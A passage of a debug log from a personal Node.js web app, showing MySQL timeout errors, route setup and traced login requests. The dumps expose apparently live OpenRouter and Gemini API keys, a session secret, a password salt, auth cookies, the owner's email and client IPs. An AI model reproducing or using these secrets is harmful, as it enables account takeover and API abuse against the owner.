    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-28 03:16:03' as DATETIME)"
}
2026-01-28T03:55:19.051Z server-connect:router Serving templateView /
2026-01-28T03:55:19.052Z server-connect:app Executing action step identify
2026-01-28T03:55:19.052Z server-connect:app options: { provider: 'security' }
2026-01-28T03:55:19.053Z server-connect:auth No login cookie found
2026-01-28T03:55:19.053Z server-connect:output identity: false
2026-01-28T03:55:19.053Z server-connect:app Executing action step restrict
2026-01-28T03:55:19.053Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-28T03:55:19.054Z server-connect:output restrict: undefined
2026-01-28T03:55:23.391Z server-connect:router Serving templateView /login
2026-01-28T03:55:23.392Z server-connect:app Executing action step identify
2026-01-28T03:55:23.392Z server-connect:app options: { provider: 'security' }
2026-01-28T03:55:23.392Z server-connect:auth No login cookie found
2026-01-28T03:55:23.392Z server-connect:output identity: false
2026-01-28T03:55:23.392Z server-connect:router Render template layouts/authentication
2026-01-28T03:55:23.392Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '64.23.141.246',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-29T03:55:23.391Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '64.23.141.246',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '64.23.141.246',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-28 19:42:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-28 19:42:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-29 06:29:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-29 06:29:05' as DATETIME)"
}
2026-01-30T10:35:07.179Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-01-30T10:35:09.387Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-01-30T10:35:10.252Z server-connect:setup:upload Upload middleware configured.
2026-01-30T10:35:10.255Z server-connect:secure CSRF Protection initialized
2026-01-30T10:35:10.258Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-01-30T10:35:10.258Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-01-30T10:35:10.260Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-01-30T10:35:10.262Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-01-30T10:35:10.268Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-01-30T10:35:10.271Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-01-30T10:35:10.282Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-01-30T10:35:10.295Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-01-30T10:35:10.300Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-01-30T10:35:10.305Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-01-30T10:35:10.315Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-01-30T10:35:10.319Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-01-30T10:35:10.389Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-01-30T10:35:10.390Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-01-30T10:35:10.397Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2026-01-30T10:35:10.399Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2026-01-30T10:35:10.401Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2026-01-30T10:35:10.403Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2026-01-30T10:35:10.409Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2026-01-30T10:35:10.415Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2026-01-30T10:35:10.415Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2026-01-30T10:35:10.424Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2026-01-30T10:35:10.431Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-01-30T10:35:10.431Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-01-30T10:35:10.438Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-01-30T10:35:10.442Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-01-30T10:35:10.446Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-01-30T10:35:10.448Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-01-30T10:35:10.450Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-01-30T10:35:10.456Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-01-30T10:35:10.456Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-01-30T10:35:10.459Z server-connect:setup:routes Api route /api/test(.json)? created
2026-01-30T10:35:10.947Z server-connect:router Serving templateView /
2026-01-30T10:35:10.949Z server-connect:app Executing action step identify
2026-01-30T10:35:10.950Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:10.952Z server-connect:auth No login cookie found
2026-01-30T10:35:10.952Z server-connect:output identity: false
2026-01-30T10:35:10.952Z server-connect:app Executing action step restrict
2026-01-30T10:35:10.952Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:10.956Z server-connect:output restrict: undefined
2026-01-30T10:35:11.181Z server-connect:router Serving templateView /login
2026-01-30T10:35:11.182Z server-connect:app Executing action step identify
2026-01-30T10:35:11.182Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:11.182Z server-connect:auth No login cookie found
2026-01-30T10:35:11.182Z server-connect:output identity: false
2026-01-30T10:35:11.182Z server-connect:router Render template layouts/authentication
2026-01-30T10:35:11.183Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:11.180Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-01-30T10:35:49.469Z server-connect:router Serving serverConnect /api/access-control/login
2026-01-30T10:35:49.470Z server-connect:app Executing action step identify
2026-01-30T10:35:49.470Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:49.470Z server-connect:auth No login cookie found
2026-01-30T10:35:49.470Z server-connect:output identity: false
2026-01-30T10:35:49.470Z server-connect:app Executing action step login
2026-01-30T10:35:49.470Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-01-30T10:35:49.479Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-01-30T10:35:49.551Z server-connect:output identity: 1
2026-01-30T10:35:49.551Z server-connect:app Executing action step restrict
2026-01-30T10:35:49.551Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:49.553Z server-connect:output restrict: undefined
2026-01-30T10:35:49.815Z server-connect:router Serving templateView /
2026-01-30T10:35:49.815Z server-connect:app Executing action step identify
2026-01-30T10:35:49.815Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:49.815Z server-connect:output identity: 1
2026-01-30T10:35:49.816Z server-connect:app Executing action step restrict
2026-01-30T10:35:49.816Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:49.816Z server-connect:output restrict: undefined
2026-01-30T10:35:49.816Z server-connect:app Executing action step restrict
2026-01-30T10:35:49.816Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-30T10:35:49.817Z server-connect:output restrict: undefined
2026-01-30T10:35:49.818Z server-connect:router Render template layouts/main
2026-01-30T10:35:49.818Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-31T10:35:49.553Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-01-30T10:35:51.752Z server-connect:router Serving serverConnect /api/masters/get-items
2026-01-30T10:35:51.753Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-01-30T10:35:51.753Z server-connect:app Executing action step identify
2026-01-30T10:35:51.753Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:51.753Z server-connect:output identity: 1
2026-01-30T10:35:51.754Z server-connect:app Executing action step restrict
2026-01-30T10:35:51.754Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:51.754Z server-connect:app Executing action step identify
2026-01-30T10:35:51.754Z server-connect:app options: { provider: 'security' }
2026-01-30T10:35:51.755Z server-connect:output identity: 1
2026-01-30T10:35:51.755Z server-connect:app Executing action step restrict
2026-01-30T10:35:51.755Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:35:51.758Z server-connect:output restrict: undefined
2026-01-30T10:35:51.760Z server-connect:app Executing action step select
2026-01-30T10:35:51.760Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-01-30T10:35:51.763Z server-connect:output restrict: undefined
2026-01-30T10:35:51.763Z server-connect:app Executing action step single
2026-01-30T10:35:51.763Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-01-30T10:35:51.767Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-01-30T10:35:51.776Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
